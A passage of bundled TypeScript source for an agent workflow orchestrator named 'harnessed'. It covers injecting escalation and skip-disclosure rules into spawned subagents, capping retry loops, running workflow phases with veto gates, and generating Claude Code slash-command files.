explanation:\n\n \"Skipped <phase>, because <reason>. Tell me if you actually need it.\"\n (中文: \"这次跳过了 <phase>, 因为 <reason>. 如果你认为需要请明说.\")\n\nThis applies to: strategic-layer review skip / phase-layer clarification skip / subtask-brainstorming skip / TDD enforcement skip / Agent Teams escalation skip. Chain-isolation rule: skipping one layer does NOT mandate skipping subsequent layers — each layer is independently evaluated.`\n\n/** v3.6.0 Phase 4 — Agent Teams prevention checklist injection (P1b). Spawned\n * subagent doesn't have Team APIs (SDK v0.3.142 doesn't expose them), so this\n * is signal/discipline only — when subagent signals escalation via\n * needs_teams_escalation, the user/main-session opens the team, and this\n * checklist reminds spawned subagent (and by signal propagation, the user)\n * of the 4 防呆 rules.\n *\n * Source: ~/.claude/rules/agent-teams.md \"防呆清单\" (4 items) — paraphrased\n * for prompt injection (NOT verbatim user-private file).\n *\n * See PHASE-4-SPEC.md § D1 for design rationale + prompt-budget impact (~200\n * tokens, total criticalSystemReminder_EXPERIMENTAL ~670 tokens). */\nexport const AGENT_TEAMS_PREVENTION_RULES = `If you signal needs_teams_escalation=true, ALSO advise the user on these 4 Agent Teams prevention rules in your escalation_reason or summary (the user will be the one calling TeamCreate / SendMessage / TeamDelete; remind them upfront):\n\n1. **Session-scoped**: Teams live only in the current Claude Code session. \\`/resume\\` loses all teammates. Do not treat teams as persistent state — finish team work within one session.\n\n2. **Cleanup mandatory**: Before session ends, send \\`SendMessage(to=<teammate>, content=\"shutdown_request\")\\` to each teammate, then call \\`TeamDelete\\`. Orphan teammates consume resources. This is a hard rule, not advisory.\n\n3. **Token cost estimation**: Before creating a team, estimate \\`team_cost ≈ N_teammates × N_rounds × avg_tokens_per_round + N_teammates × initial_brief_tokens\\`. Compare to subagent fan-out cost (\\`≈ N_subagents × (initial_brief + summary_tokens)\\`). Only open a team when \\`team_cost < 2 × subagent_cost\\` — otherwise prefer fan-out.\n\n4. **Brief must be self-contained**: Each teammate launches WITHOUT main-session context. The Agent() prompt must include enough background, file paths, success criteria, and counter-positions so the teammate can work independently. Generic prompts produce shallow output.`\n\n/** v3.6.0 Phase 4 — Combined critical-system-reminder string injected into\n * spawned subagent prompt. Composition order (sister Phase 3 chain extended):\n * 1. ESCALATION_RULES (v3.5.0 Phase 2) — 5 Agent Teams escalation triggers\n * 2. TRANSPARENT_SKIP_RULES (v3.6.0 Phase 3) — fallback 三条铁律 transparent\n * skip discipline (skip + explanation > silent execution on low-confidence)\n * 3. AGENT_TEAMS_PREVENTION_RULES (v3.6.0 Phase 4) — Agent Teams 防呆 4 项\n * (session-scoped / cleanup mandatory / token-cost / self-contained brief)\n * Both paths in buildAgentDef (rolePrompt found + conservative fallback) inject\n * this combined string into criticalSystemReminder_EXPERIMENTAL.\n * Logical order: 识别 (ESCALATION) → confidence judge (TRANSPARENT_SKIP) →\n * prevention discipline (AGENT_TEAMS_PREVENTION). */\n/** v3.8.0 P1 — Conditional RULES inject. Map rule name → RULES const for\n * per-phase dynamic chain construction. Adding a new rule: add const above +\n * entry here + (optional) default-list. Unknown names silently skipped at\n * runtime for forward compatibility. */\nconst RULES_MAP: Record<string, string> = {\n escalation: ESCALATION_RULES,\n 'transparent-skip': TRANSPARENT_SKIP_RULES,\n 'agent-teams-prevention': AGENT_TEAMS_PREVENTION_RULES,\n}\n\n/** v3.8.0 P1 — Default RULES injected when phase yaml omits `injects_rules`.\n * ~470 tokens (escalation ~320 + transparent-skip ~150). Agent Teams\n * prevention (~200 tokens) opt-in for phases that genuinely involve Team\n * escalation (task-deliver / task-test / verify-multispec — see their\n * workflow.yaml). Weighted-avg across 24 sub-workflows ≈ 512 tokens/spawn\n * vs v3.6.0 Phase 4 全 670 → ~24% reduction. */\nconst DEFAULT_INJECTS_RULES = ['escalation', 'transparent-skip'] as const\n\n/** v3.8.0 P1 — Build `criticalSystemReminder_EXPERIMENTAL` string from rule\n * name list. Empty/undefined list → DEFAULT_INJECTS_RULES. Unknown rule\n * names silently filtered (forward-compat). */\nfunction buildCriticalReminder(injectsRules?: readonly string[]): string {\n const rules = injectsRules ?? DEFAULT_INJECTS_RULES\n return rules\n .map((name) => RULES_MAP[name])\n .filter((rule): rule is string => rule !== undefined)\n .join('\\n\\n')\n}\n\n/** Phase v3.4.4 (Phase 4) — build an AgentDefinition for a workflow phase skill,\n * enriched via `workflows/role-prompts.yaml` when a matching entry exists.\n *\n * Lookup chain (D-3):\n * 1. rolePrompts[skillName] — phase id direct hit (e.g. '01-fan-out' on the\n * rare case the phase id IS keyed in role-prompts.yaml).\n * 2. rolePrompts[workflowName] — sub-workflow name hit (e.g. phase id\n * '01-review' inside `verify-paranoid/workflow.yaml` → 'verify-paranoid'\n * keyed in role-prompts.yaml). This is the common path.\n * 3. Conservative 2-field stub fallback (Phase 2 behavior) — applies for\n * standalone non-master phases that lack any role-prompt entry.\n *\n * When found, splices `responsibility` + `checklist` + `severity` + `specialist`\n * into the prompt body. `modelTierOverride` (B-10 escape hatch from execute-task\n * `--model-tier inherit`) is applied to the AgentDefinition `model` field when\n * set (sourced from `gateContext.modelTierOverride`).\n *\n * v3.5.0 Phase 2 Wave 1 — BOTH code paths (rolePrompt found OR fallback stub)\n * now also inject `criticalSystemReminder_EXPERIMENTAL: ESCALATION_RULES` so\n * spawned subagents uniformly know when to signal Agent Teams escalation.\n *\n * v3.6.0 Phase 3 Wave 3 — both code paths now inject CRITICAL_SYSTEM_REMINDER\n * (= ESCALATION_RULES + TRANSPARENT_SKIP_RULES appended) so spawned subagents\n * ALSO follow the fallback 三条铁律 \"拿不准 → 倾向跳过 + 透明声明\" discipline.\n *\n * v3.6.0 Phase 4 Wave 1 — added AGENT_TEAMS_PREVENTION_RULES (P1b) so spawned\n * subagents, when signaling needs_teams_escalation=true, ALSO remind the user\n * of the 4 Agent Teams 防呆 rules.\n *\n * v3.8.0 P1 — `criticalSystemReminder_EXPERIMENTAL` is now built dynamically via\n * `buildCriticalReminder(injectsRules)`. Callers can pass phase-specific rule\n * list; absent → DEFAULT_INJECTS_RULES (escalation + transparent-skip, ~470\n * tokens). Phases declaring `injects_rules: [escalation, transparent-skip,\n * agent-teams-prevention]` in workflow.yaml get the 670-token full chain.\n * ~24% weighted-avg token reduction vs unconditional v3.6.0 Phase 4 behavior. */\nexport function buildAgentDef(\n skillName: string,\n rolePrompts?: Record<string, RolePrompt>,\n workflowName?: string,\n modelTierOverride?: string,\n injectsRules?: readonly string[],\n): AgentDefinition {\n const rp = rolePrompts?.[skillName] ?? (workflowName ? rolePrompts?.[workflowName] : undefined)\n const criticalReminder = buildCriticalReminder(injectsRules)\n if (!rp) {\n // Conservative fallback (Phase 2 behavior) for phase ids not in role-prompts.yaml.\n return {\n description: `harnessed workflow phase: ${skillName}`,\n prompt: `You are executing the '${skillName}' workflow phase. Follow the phase intent and emit a structured COMPLETE signal when done.`,\n criticalSystemReminder_EXPERIMENTAL: criticalReminder,\n ...(modelTierOverride ? { model: modelTierOverride } : {}),\n } as AgentDefinition\n }\n const checklist = rp.checklist.length\n ? `\\n\\nChecklist:\\n${rp.checklist.map((c, i) => ` ${i + 1}. ${c}`).join('\\n')}`\n : ''\n const prompt = [\n `You are a ${rp.specialist}.`,\n ``,\n rp.responsibility.trim(),\n checklist,\n ``,\n `Severity scale: ${rp.severity}`,\n ``,\n `Emit a structured COMPLETE signal when done.`,\n ].join('\\n')\n return {\n description: rp.description,\n prompt,\n criticalSystemReminder_EXPERIMENTAL: criticalReminder,\n ...(modelTierOverride ? { model: modelTierOverride } : {}),\n } as AgentDefinition\n}\n\n/** Phase v3.4.4 (Phase 3) — ralph-loop opt-in detection per phase. Returns true when\n * any of: phase.max_iterations declared, phase.fallback.max_iterations_exceeded\n * declared, phase.upstream === 'ralph-loop'. Default OFF (single-shot sdkSpawn)\n * for phases without any ralph-loop yaml signal — preserves Phase 2 behavior for\n * the 7 phases that lack the signal (e.g. task-code/02-progress, verify-design/01).\n *\n * Exported for unit-testability + so Phase 3 Commit 3's wrap-conditional inside\n * `_dispatchSkillStub.fn` can reuse the same predicate (single source of truth). */\nexport function isRalphLoopOptIn(phase: unknown): boolean {\n if (!phase || typeof phase !== 'object') return false\n const p = phase as Record<string, unknown>\n if (p.max_iterations !== undefined && p.max_iterations !== null) return true\n if (p.upstream === 'ralph-loop') return true\n const fb = p.fallback as Record<string, unknown> | undefined\n if (fb?.max_iterations_exceeded !== undefined) return true\n return false\n}\n\n/** Phase v3.4.4 (Phase 3) — max-iter resolution chain (CLI flag → phase yaml → 20),\n * clamped at hard_upper_limit 100. Reads gateContext.maxIterations (Number, set\n * by src/cli/run.ts:84 from `--max-iterations <n>`) + phase.max_iterations (yaml\n * Number OR pre-resolved JINJA String → coerce via parseInt).\n *\n * Priority (high → low):\n * 1. gateContext.maxIterations (CLI flag)\n * 2. phase.max_iterations (yaml Number OR coerced String)\n * 3. RALPH_DEFAULT_MAX_ITER (hardcoded 20)\n *\n * Result clamped to [1, RALPH_HARD_UPPER_LIMIT (100)] regardless of source.\n *\n * Exported for unit-testability + so Phase 3 Commit 3's call-site at L183 can\n * pass the resolved value down to `_dispatchSkillStub.fn` opts.maxIter. */\nexport function resolveMaxIterations(phase: unknown, gateContext: Record<string, unknown>): number {\n const fromCli =\n typeof gateContext.maxIterations === 'number' ? gateContext.maxIterations : undefined\n let fromYaml: number | undefined\n if (phase && typeof phase === 'object') {\n const raw = (phase as Record<string, unknown>).max_iterations\n if (typeof raw === 'number') fromYaml = raw\n else if (typeof raw === 'string') {\n const n = Number.parseInt(raw, 10)\n if (Number.isFinite(n) && n > 0) fromYaml = n\n }\n }\n const chosen = fromCli ?? fromYaml ?? RALPH_DEFAULT_MAX_ITER\n return Math.min(Math.max(1, chosen), RALPH_HARD_UPPER_LIMIT)\n}\n\nexport const _dispatchSkillStub = {\n fn: async (\n skillName: string,\n phase?: unknown,\n opts?: {\n maxIter?: number\n fallback?: FallbackMaxIterationsExceededConfig\n workflowName?: string\n rolePrompts?: Record<string, RolePrompt>\n modelTierOverride?: string\n },\n ): Promise<DispatchStubResult> => {\n const optIn = isRalphLoopOptIn(phase)\n const spawnOnce = async (\n resumeSessionId?: string,\n onSessionId?: (id: string) => void,\n ): Promise<string> => {\n // v3.8.0 P1 — read optional phase.injects_rules (string[]) for conditional\n // RULES inject; absent → buildAgentDef applies DEFAULT_INJECTS_RULES.\n const injectsRules =\n phase &&\n typeof phase === 'object' &&\n 'injects_rules' in phase &&\n Array.isArray((phase as Record<string, unknown>).injects_rules)\n ? ((phase as Record<string, unknown>).injects_rules as string[])\n : undefined\n return sdkSpawn(\n buildAgentDef(\n skillName,\n opts?.rolePrompts,\n opts?.workflowName,\n opts?.modelTierOverride,\n injectsRules,\n ),\n {\n expertName: skillName,\n ...(resumeSessionId ? { resumeSessionId } : {}),\n ...(onSessionId ? { onSessionId } : {}),\n },\n )\n }\n\n let envelopeJson: string\n try {\n if (optIn) {\n const maxIter = opts?.maxIter ?? RALPH_DEFAULT_MAX_ITER\n envelopeJson = await ralphLoopWrap(spawnOnce, maxIter)\n } else {\n envelopeJson = await spawnOnce()\n }\n } catch (err) {\n // R20.10 c — explicit halt path: phase fallback config present → UX text + process.exit\n if (err instanceof MaxIterationsExceededError && opts?.fallback) {\n // handleMaxIterationsExceeded calls process.exit(exit_code) — never returns\n handleMaxIterationsExceeded(err, opts.fallback, {\n subtaskSummary: `phase ${skillName}`,\n // Phase 4 — plumbed actual workflow name (was hardcoded 'harnessed-run'\n // pre-Phase 4); falls back to literal when opts.workflowName absent\n // (preserves Phase 3 behavior for callers that don't pass workflowName).\n workflowName: opts.workflowName ?? 'harnessed-run',\n phaseId: skillName,\n maxIterations: opts?.maxIter ?? RALPH_DEFAULT_MAX_ITER,\n })\n }\n // Fail-soft per ADR 0029 — runtime emits failure but doesn't crash run loop.\n return {\n status: 'fail',\n output:\n err instanceof MaxIterationsExceededError\n ? `ralph-loop max-iterations exceeded (${err.iterations}) for ${skillName}`\n : `sdkSpawn failed for ${skillName}: ${(err as Error).message}`,\n }\n }\n\n const env = JSON.parse(envelopeJson) as {\n structured_output?: {\n status?: string\n // v3.5.0 Phase 2 — Option 1-Lite escalation signal fields (D3).\n needs_teams_escalation?: boolean\n escalation_reason?: string\n }\n text?: string\n result?: string\n subtype?: string\n }\n const status: 'ok' | 'fail' =\n env.structured_output?.status === 'COMPLETE' || env.subtype === 'success' ? 'ok' : 'fail'\n const escalation = env.structured_output?.needs_teams_escalation === true\n return {\n status,\n output: env.text ?? env.result ?? '',\n ...(env.structured_output?.status ? { decision: env.structured_output.status } : {}),\n ...(escalation\n ? {\n needsTeamsEscalation: true,\n ...(env.structured_output?.escalation_reason\n ? { escalationReason: env.structured_output.escalation_reason }\n : {}),\n }\n : {}),\n }\n },\n}\n\nexport interface RunWorkflowOpts {\n packageRoot?: string\n gateContext?: Record<string, unknown>\n}\n\n/** Run a workflow YAML to complete / paused-veto / failed (activate before veto per\n * B-01)。W0.2: master detect → runMasterOrchestrator + disciplines wedge → gateContext。\n * W1.5: 3 phase-level hook fire point (before-spawn / after-output / before-commit)。 */\nexport async function runWorkflow(\n yamlPath: string,\n vars: Record<string, string>,\n opts: RunWorkflowOpts = {},\n): Promise<WorkflowRunResult> {\n const parsed = loadPhases(yamlPath, vars)\n // packageRoot fallback: infer from yaml's parent-of-parent (cwd-swap safe).\n const yamlDir = dirname(pathResolve(yamlPath))\n const inferredRoot = pathResolve(yamlDir, '..', '..')\n const packageRoot = opts.packageRoot ?? inferredRoot\n // shallow-clone gateContext 避免 mutate caller object (W0.2 加 disciplines)。\n const gateContext: Record<string, unknown> = { ...(opts.gateContext ?? {}) }\n\n // Phase 4 — load role-prompts.yaml ONCE per workflow run (cached map for all\n // phases — NOT per-phase). Fail-soft per ADR 0029: missing yaml or parse error\n // → empty map (buildAgentDef falls back to conservative 2-field stub).\n let rolePrompts: Record<string, RolePrompt> = {}\n try {\n rolePrompts = await loadRolePrompts(join(packageRoot, 'workflows'))\n } catch (err) {\n console.warn(\n `⚠️ loadRolePrompts failed (${(err as Error).message}); ` +\n 'proceeding without role-prompt enrichment (ADR 0029 fail-soft).',\n )\n }\n\n // W0.2 — master vs sub detect: workflow ∈ 4 master + delegates_to non-empty → delegate。\n const workflowName = parsed.workflow\n const isMaster =\n 'delegates_to' in parsed &&\n Array.isArray(parsed.delegates_to) &&\n parsed.delegates_to.length > 0 &&\n MASTER_NAMES.includes(workflowName as MasterName)\n if (isMaster) {\n const r = await runMasterOrchestrator(workflowName as MasterName, gateContext, packageRoot)\n return {\n status: 'complete',\n phasesRun: r.fired.length,\n ...(r.skipped.length > 0 ? { skippedPhases: r.skipped } : {}),\n }\n }\n\n // W0.2 — loadDisciplinesForPhase wedge: v3 sub yaml `disciplines_applied` 消费,\n // 6 default fallback;v1/v2 yaml 无 field 时 narrow 守 backwards-compat。Fail-soft 沿 ADR 0029。\n const disciplinesApplied =\n 'disciplines_applied' in parsed && Array.isArray(parsed.disciplines_applied)\n ? (parsed.disciplines_applied as readonly string[])\n : undefined\n try {\n const disciplines = await loadDisciplinesForPhase(disciplinesApplied, packageRoot)\n gateContext.disciplines = disciplines\n } catch (err) {\n console.warn(\n `⚠️ loadDisciplinesForPhase failed (${(err as Error).message}); ` +\n 'proceeding without disciplines map (sister ADR 0029 fail-soft).',\n )\n }\n\n const skippedPhases: string[] = []\n // v3 sub/standalone phases Optional → 守护 fallback;v1/v2 必有 phases (loadPhases validate)。\n const phases = parsed.phases ?? []\n for (let i = 0; i < phases.length; i++) {\n const ph = phases[i]\n if (!ph) continue\n await activatePhase(ph.id)\n\n // W1.5 — before-spawn arbitrate if `invokes_tools.length > 1` (K14 warn-not-halt)。\n const invokesTools =\n 'invokes_tools' in ph && Array.isArray(ph.invokes_tools) ? ph.invokes_tools : undefined\n if (invokesTools && invokesTools.length > 1) {\n try {\n const firedCaps = invokesTools.map((c) => ({ name: c.tool, tier: c.tool }))\n await arbitrateBeforeSpawn(firedCaps, packageRoot)\n } catch (err) {\n console.warn(\n `⚠️ phase ${ph.id} before-spawn arbitrate failed (${(err as Error).message}); ` +\n 'proceeding default tool order (K14 warn-not-halt).',\n )\n }\n }\n\n // D-04 lazy-read governance gate (1 read per phase boundary, NOT polling)。\n if (await isVetoed()) {\n await statePause()\n return { status: 'paused-veto', phasesRun: i, lastPhaseId: ph.id }\n }\n\n // v2 `phase.gate` 4-level ref pre-flight。Fail-soft per ADR 0029 (eval throw → warn + 视为 fired=true)。\n if ('gate' in ph && ph.gate) {\n let fires = true\n try {\n fires = await resolveJudgmentGate(ph.gate, gateContext, packageRoot)\n } catch (err) {\n console.warn(\n `⚠️ phase ${ph.id} gate ${ph.gate} eval failed (${(err as Error).message}); ` +\n 'proceeding with phase as if gate fired=true (ADR 0029 fail-soft).',\n )\n }\n if (!fires) {\n skippedPhases.push(ph.id)\n await completePhase({\n phaseId: ph.id,\n status: 'complete',\n lastTask: `phase ${ph.id} skipped: gate ${ph.gate} evaluated false`,\n })\n continue\n }\n }\n\n // v1 skills[0] OR v2/v3 phase id 作 skill name dispatch (narrow 'skills' in ph)。\n const skillName = ('skills' in ph && ph.skills?.[0]) || ph.id\n // Phase v3.4.4 (Phase 3) — resolve max-iter + extract fallback config from phase yaml\n // before dispatch; both consumed by _dispatchSkillStub.fn opts to gate ralph-loop wrap.\n const maxIter = resolveMaxIterations(ph, gateContext)\n const fallback =\n 'fallback' in ph && ph.fallback?.max_iterations_exceeded\n ? (ph.fallback.max_iterations_exceeded as FallbackMaxIterationsExceededConfig)\n : undefined\n const r = await _dispatchSkillStub.fn(skillName, ph, {\n maxIter,\n ...(fallback ? { fallback } : {}),\n workflowName,\n rolePrompts,\n ...(typeof gateContext.modelTierOverride === 'string'\n ? { modelTierOverride: gateContext.modelTierOverride }\n : {}),\n })\n if (r.status !== 'ok') {\n return { status: 'failed', phasesRun: i, lastPhaseId: ph.id }\n }\n\n // v3.5.0 Phase 2 — Option 1-Lite escalation hint to user (D4). spawned subagent\n // signaled one of 5 parallelism-gate.yaml agent-teams-upgrade triggers fired.\n // User in main Claude Code session decides whether to open Agent Teams\n // (TeamCreate not available to spawned subagents via SDK v0.3.142). Non-blocking;\n // English-only per D5 default (i18n deferred to v3.6 if user requests).\n if (r.needsTeamsEscalation === true) {\n const reason = r.escalationReason ?? 'unspecified trigger'\n console.error(\n `⚠️ phase ${ph.id} suggests Agent Teams escalation — ${reason}. ` +\n 'Consider opening a team in your main Claude Code session (TeamCreate) ' +\n 'if continuing this work benefits from teammate coordination. ' +\n 'See workflows/judgments/parallelism-gate.yaml for the 5 upgrade triggers.',\n )\n }\n\n // W1.5 — after-output validate if r.target==='chat' (commit/file target 不应用 output-style)。\n if (r.target === 'chat') {\n try {\n await runAfterOutputHook({\n responseText: r.output,\n responseTarget: 'chat',\n userRequestedEmoji: false,\n packageRoot,\n })\n } catch (err) {\n console.warn(\n `⚠️ phase ${ph.id} after-output hook failed (${(err as Error).message}); ` +\n 'proceeding (ADR 0029 fail-soft).',\n )\n }\n }\n\n // W1.5 — before-commit hook if r.triggers_commit===true (biome-preempt + no-skip-hooks)。\n // changedFiles + cmdArgs v3.0 WIRED 默认 empty (Phase 3.3+ dogfood 真接 spawn 时 fill)。\n if (r.triggers_commit === true) {\n try {\n await runBeforeCommitHook({\n changedFiles: [],\n cmdArgs: [],\n packageRoot,\n cmdType: 'git-commit',\n hasUserApproval: false,\n })\n } catch (err) {\n console.warn(\n `⚠️ phase ${ph.id} before-commit hook failed (${(err as Error).message}); ` +\n 'proceeding (ADR 0029 fail-soft).',\n )\n }\n }\n\n await completePhase({\n phaseId: ph.id,\n status: 'complete',\n lastTask: `phase ${ph.id} complete: ${r.output}`,\n })\n }\n return {\n status: 'complete',\n phasesRun: phases.length,\n ...(skippedPhases.length > 0 ? { skippedPhases } : {}),\n }\n}\n","// v3.4.4 — Generate ~/.claude/commands/<x>.md from workflows/role-prompts.yaml.\n//\n// SCHEMA EVOLUTION:\n// v3.4.3 — dual-path body (SlashCommand \"Preferred path\" + Task-spawn\n// \"Fallback path\"). Both paths sidestepped the workflow runtime entirely;\n// the disciplines + judgments + master orchestration in src/workflow/ never\n// fired. SlashCommand path was also vapor when no upstream was installed.\n// v3.4.4 — single-path body that ALWAYS invokes the workflow runtime via\n// `harnessed run <name>` (Bash). This wires `~/.claude/commands/<x>.md`\n// to src/workflow/run.ts (the real orchestrator) instead of bypassing it.\n//\n// MARKER-BASED OVERWRITE (Option 2):\n// Each generated file emits `<!-- harnessed-generated:v3.4.x -->` as its\n// trailing marker. `writeAllCommands` overwrites files containing either\n// that marker OR the v3.4.3 dual-path signature; truly user-authored files\n// (with neither) are preserved with a warning. This lets `harnessed setup`\n// upgrade stale v3.4.3-generated files in place without clobbering customs.\n//\n// Karpathy simplicity: pure functions, single yaml load, ≤250 LOC, no new deps.\n\nimport { existsSync, readFileSync as nodeReadFileSync } from 'node:fs'\nimport { readFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport { parse as parseYaml } from 'yaml'\nimport type { CapabilityMap } from './capabilityResolver.js'\n\n/** Per-sub-workflow metadata from `workflows/role-prompts.yaml`. */\nexport interface RolePrompt {\n /** Capability key whose `.cmd` is the preferred slash command. Empty for masters. */\n primary_cap: string\n /** Title of the expert persona used in the fallback Task-spawn prompt. */\n specialist: string\n /** One-line job description (string with leading verb). */\n responsibility: string\n /** Checklist items (5-10) — skipped for masters (empty array). */\n checklist: string[]\n /** Severity scale label rendered in report-format section. */\n severity: string\n /** YAML frontmatter `description` field for the generated commands/<x>.md. */\n description: string\n /** Master orchestrators are pure dispatchers (no role-prompt fallback). */\n is_master?: boolean\n}\n\n/** Full registry shape — `{ prompts: { <slash-name>: RolePrompt, ... } }`. */\ninterface RolePromptsDoc {\n prompts?: Record<string, RolePrompt>\n}\n\n/** Single generated command file (filename + content). */\nexport interface GeneratedCommand {\n /** Bare filename — e.g. `verify-paranoid.md`. Caller joins with commands dir. */\n filename: string\n /** Full file content (frontmatter + body) ready to write. */\n content: string\n}\n\n/** Outcome per attempted write — skip when user's commands/ file already exists. */\nexport interface CommandWriteResult {\n /** Slash name (e.g. `verify-paranoid`). */\n name: string\n /** Absolute path the file would be / was written to. */\n path: string\n /** True = wrote new file; false = skipped because user file already existed. */\n written: boolean\n /** Warning text when skipped or when role-prompt missing for the workflow. */\n warning?: string\n}\n\n/** Load and parse `<workflowsDir>/role-prompts.yaml`. Tolerant of missing file. */\nexport async function loadRolePrompts(workflowsDir: string): Promise<Record<string, RolePrompt>> {\n const path = join(workflowsDir, 'role-prompts.yaml')\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch {\n return {}\n }\n const doc = parseYaml(raw) as RolePromptsDoc | null\n return doc?.prompts ?? {}\n}\n\n/**\n * Build `~/.claude/commands/<name>.md` content for a single workflow.\n *\n * v3.4.4 — Single-path body: ALWAYS invoke `harnessed run <name>` via the Bash\n * tool. The shell pipe `echo \"$ARGUMENTS\" | harnessed run <name> --task-stdin`\n * avoids shell-escape pain on user-supplied requirements containing quotes /\n * `$` / backticks; if `$ARGUMENTS` is empty the no-stdin variant runs.\n *\n * The 5-arg signature (capabilities + installedPlugins + installedUserSkills)\n * is preserved for forward compatibility but no longer renders `{{ capabilities\n * .<x>.cmd }}` placeholders — the v3.4.4 body has no placeholders.\n */\nexport function generateCommandFile(\n name: string,\n prompt: RolePrompt,\n _capabilities: CapabilityMap,\n _installedPlugins: Set<string>,\n _installedUserSkills: Set<string>,\n): { content: string; warnings: string[] } {\n const isMaster = prompt.is_master === true\n const argHint = isMaster ? '[task description]' : '[requirement text or omit]'\n const stagedNote =\n name === 'auto'\n ? '\\n- For stage-by-stage review, append `--staged` (pauses between stages for user review).'\n : ''\n\n const body = [\n `# /${name}`,\n ``,\n prompt.description,\n ``,\n `## How to invoke`,\n ``,\n `Use the Bash tool to run:`,\n ``,\n '```bash',\n `echo \"$ARGUMENTS\" | harnessed run ${name} --task-stdin`,\n '```',\n ``,\n `If \\`$ARGUMENTS\\` is empty (slash command invoked with no args), run \\`harnessed run ${name}\\` (no stdin pipe).`,\n ``,\n `After completion, the Bash output prints a \\`Next:\\` hint on stderr suggesting the next stage. Decide whether to invoke based on conversation context — the hint is informational, not prescriptive.`,\n ``,\n `## Notes`,\n ``,\n `- This file is generated by \\`harnessed setup\\` v3.4.4+. Re-run \\`harnessed setup\\` after a harnessed upgrade to refresh.`,\n `- The sister \\`~/.claude/skills/${name}/SKILL.md\\` is the Skill-tool entry point (Claude loads it when triggers match \\`trigger_phrases:\\`). Both files invoke the same \\`harnessed run ${name}\\` Bash command.${stagedNote}`,\n `- Workflow runtime: \\`src/workflow/run.ts\\` walks \\`workflows/${nameToYamlHintPath(name)}\\` with disciplines + judgments + master orchestration applied per the yaml \\`delegates_to[]\\` + \\`gate\\` clauses.`,\n ``,\n `<!-- harnessed-generated:v3.4.4 -->`,\n ``,\n ].join('\\n')\n\n // v3.4.4 — no `{{ capabilities.<x>.cmd }}` placeholder in body, so renderSkillBody\n // is not invoked and warnings are always empty (signature retained for back-compat).\n const warnings: string[] = []\n\n const frontmatter = [\n '---',\n `description: ${JSON.stringify(prompt.description)}`,\n `argument-hint: ${JSON.stringify(argHint)}`,\n '---',\n '',\n ].join('\\n')\n\n return { content: frontmatter + body, warnings }\n}\n\n/** Returns the relative `workflows/...` path matching the 3-tier\n * resolveWorkflowYaml lookup in src/cli/run.ts. Used in the Notes section\n * to hint where the runtime yaml lives. */\nfunction nameToYamlHintPath(name: string): string {\n if (['auto', 'research', 'retro'].includes(name)) return `${name}/workflow.yaml`\n if (['discuss', 'plan', 'task', 'verify'].includes(name)) return `${name}/auto/workflow.yaml`\n const dashIdx = name.indexOf('-')\n if (dashIdx > 0) {\n return `${name.slice(0, dashIdx)}/${name.slice(dashIdx + 1)}/workflow.yaml`\n }\n return `${name}/workflow.yaml`\n}\n\n/** v3.4.4 marker — every command file generated by this tool emits this trailing\n * comment as the last non-blank body line. `harnessed setup` overwrites any file\n * containing this marker (or the older v3.4.3 dual-path signature) and preserves\n * files with neither (true user-authored). Pattern is digit-loose so future\n * v3.4.5+ patches can re-overwrite without losing the property. */\nconst HARNESSED_MARKER_RX = /<!--\\s*harnessed-generated:v3\\.4\\.\\d+\\s*-->/\n\n/** Detect the v3.4.3 dual-path body shape — overwrite even though it has no\n * marker because it shipped before markers existed. Two-signal AND so we don't\n * false-positive on user files that happen to mention \"SlashCommand\". Matches\n * the sub-workflow variant (preferred=SlashCommand, fallback=Task spawn). */\nconst V3_4_3_SIGNATURE_SUB_RX =\n /\\*\\*Preferred path\\*\\*[\\s\\S]*use the SlashCommand tool[\\s\\S]*\\*\\*Fallback path\\*\\*[\\s\\S]*use the Task tool to spawn/\n\n/** Detect the v3.4.3 master/standalone-orchestrator dispatcher variant — bodies\n * for /auto, /discuss, /plan, /task, /verify, /research used \"dispatch to the\n * per-sub-workflow slash commands\" instead of \"use the SlashCommand tool\", so\n * V3_4_3_SIGNATURE_SUB_RX missed them and they were misclassified as\n * user-authored. This phrase is distinctive enough that **Preferred path**\n * + the literal sub-workflow dispatch sentence is a safe two-signal AND. */\nconst V3_4_3_SIGNATURE_MASTER_RX = /\\*\\*Preferred path\\*\\*[\\s\\S]*dispatch to the per-sub-workflow/\n\n/** Returns true when the file is harnessed-generated (any version) and may be\n * safely overwritten by `harnessed setup`. User-authored files (neither marker\n * nor v3.4.3 signature present) are skipped with a warning. */\nexport function shouldOverwriteFile(content: string): boolean {\n return (\n HARNESSED_MARKER_RX.test(content) ||\n V3_4_3_SIGNATURE_SUB_RX.test(content) ||\n V3_4_3_SIGNATURE_MASTER_RX.test(content)\n )\n}\n\n/**\n * Write all sub-workflow commands files to `<commandsDir>`. v3.4.4 marker-based\n * overwrite: a file is overwritten when it carries the harnessed marker OR\n * matches the v3.4.3 dual-path signature; truly user-authored files (with\n * neither) are skipped with a warning. The 9-arg signature stays backwards-\n * compatible because `fileExists` and `readFileSync` have default values —\n * existing 7-arg callers in setup.ts continue to work.\n */\nexport async function writeAllCommands(\n slashNames: string[],\n commandsDir: string,\n rolePrompts: Record<string, RolePrompt>,\n capabilities: CapabilityMap,\n installedPlugins: Set<string>,\n installedUserSkills: Set<string>,\n writer: (path: string, content: string) => Promise<void>,\n fileExists: (path: string) => boolean = existsSync,\n readFileSync: (path: string) => string = (p) => nodeReadFileSync(p, 'utf8'),\n): Promise<{ results: CommandWriteResult[]; warnings: string[] }> {\n const results: CommandWriteResult[] = []\n const aggregatedWarnings = new Set<string>()\n\n for (const name of slashNames) {\n const path = join(commandsDir, `${name}.md`)\n const prompt = rolePrompts[name]\n if (!prompt) {\n results.push({\n name,\n path,\n written: false,\n warning: `no role-prompts.yaml entry for '${name}' — skipping commands/${name}.md generation`,\n })\n aggregatedWarnings.add(`role-prompts.yaml missing entry for '${name}'`)\n continue\n }\n\n // v3.4.4 — marker-based overwrite. Skip ONLY when file exists AND is\n // user-authored (neither harnessed marker nor v3.4.3 dual-path signature\n // present). Harnessed-generated files get re-rendered (in case role-prompts\n // .yaml changed) — that's the upgrade path from v3.4.3 → v3.4.4.\n if (fileExists(path)) {\n let existing = ''\n try {\n existing = readFileSync(path)\n } catch {\n existing = ''\n }\n if (!shouldOverwriteFile(existing)) {\n results.push({\n name,\n path,\n written: false,\n warning: `commands/${name}.md is user-authored (no harnessed marker) — leaving unchanged. Delete the file to force regenerate.`,\n })\n continue\n }\n // Else: harnessed-generated (v3.4.3 or older v3.4.4) → overwrite below.\n }\n\n const { content, warnings } = generateCommandFile(\n name,\n prompt,\n capabilities,\n installedPlugins,\n installedUserSkills,\n )\n try {\n await writer(path, content)\n results.push({ name, path, written: true 